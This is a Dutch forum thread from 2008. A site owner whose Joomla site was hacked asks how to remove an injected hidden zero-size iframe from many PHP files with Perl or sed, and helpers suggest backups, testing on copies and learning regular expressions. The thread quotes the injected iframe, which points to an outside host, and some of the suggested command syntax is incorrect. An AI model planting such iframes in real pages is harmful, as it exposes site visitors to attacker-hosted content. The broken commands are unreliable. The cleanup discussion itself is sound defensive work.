Perl zoek en vervang meerdere bestanden

[L0g0ff]

Hey,

Mijn website is gehackt. Ik vermoed dat dit komt door een bug in een joomla component die op deze website draait. Nu heb ik de oorzaak en een oplossing alleen krijg ik het commando niet uitgevoerd...

De fout is:
<IFRAME src="http://usuarios.arnet.com.ar/alvarezluque/morgan.html" width="0" height="0" frameborder="0"></iframe>

Nu heb ik op internet het volgende commando gevonden

perl -pi -w -e 's/OLD/NEW/g;' *.php

VB: perl -pi -w -e 's/\.\.\/includes\/style\.css/admin\.css/g;' *.php

Nu snap ik alleen echt niet waar ik de backslashes "\" moet plaatsen. Ook begrijp ik niet hoe ik moet opgeven dat de string vervangen moet worden met een lege waarde. Nu kan ik wel wat aanrommelen maar ik ben zo bang dat ik mijn bestanden verampeneer

Het gaat om meer dan 100 bestanden in verschillende subdirs. Kan iemand mij misschien helpen?

[Victorius737]

volgens mij kan je dit ook wel met SED doen , een linux filter ipv perl
http://www.ss64.com/bash/sed.html

*.php sed 's/\.\.\/includes\/style\.css/admin\.css/g;' > verbeterd.php

*.php sed 's/old/""/g;' > verbeterd.php veranderd old in niets

[ Voor 15% gewijzigd door Victorius737 op 08-01-2008 23:18 ]

[L0g0ff]

Het pobleem is meer dat ik niet precies snap waar de \ \ \ \ geplaatst moeten worden.

Ik denk dat hij zo moet worden maar ik durf het niet zo goed uit te voeren omdat ik dan straks al mijn php om zeep haal.

code:

perl -pi -w -e 's/\<\IFRAME\ \src\=\"\http\:\/\/\usuarios\.\arnet\.\com\.\ar\/\alvarezluque\/\morgan\.\html\"\ \width\=\"\0\"\ \height\=\"\0\"\ \frameborder\=\"\0\"\>\<\/\iframe\>\/ /g;' *.php

[blaataaps]

Dan probeer je toch uit te vinden wat het systeem achter de backslashes is, en test je het op een testbestand?

[L0g0ff]

Het probleem is dat ik nergens goeie voorbeelden op het internet kan vinden. Daarom post ik het hier in de hoop dat iemand me daar iets over kan vertellen.

[ Voor 21% gewijzigd door L0g0ff op 09-01-2008 10:45 ]

[u_nix_we_all]

Dan maak je toch een backup van je bestanden (als je die al niet had) en ga je daarmee experimenteren. Als je website gehacked is, is het trouwens maar de vraag of het herstellen van je php bestanden voldoende is. Zijn er geen rootkits geinstalleerd e.d. ?

[L0g0ff]

Ik heb gelukkig een backup ik snap alleen geen bal van die \ \ \ \ structuur. Ik heb op internet gezocht en op GoT maar nergens word replace gebruikt met tekens zoals ";", "\", "<", ">" etc.

Als ik nou een degelijk voorbeeld zou kunnen vinden...

[jpm.lensen]

Gewoon een copy maken van het bestand, en verschillende versies van je commando uitvoeren, totdat je de holy grail gevonden hebt.
Gewoon proberen met perl/ sed zou mijn advies zijn

[ph0t0nix]

Op de website die je als bron gebruikt voor je "perl kennis" ;-) staat dat je bepaalde tekens moet escapen omdat het om zogenaamde "Regular Expressions" gaat. Ik zou maar eens zoeken op die term, of evt. op regexp. Een hoop over te vinden.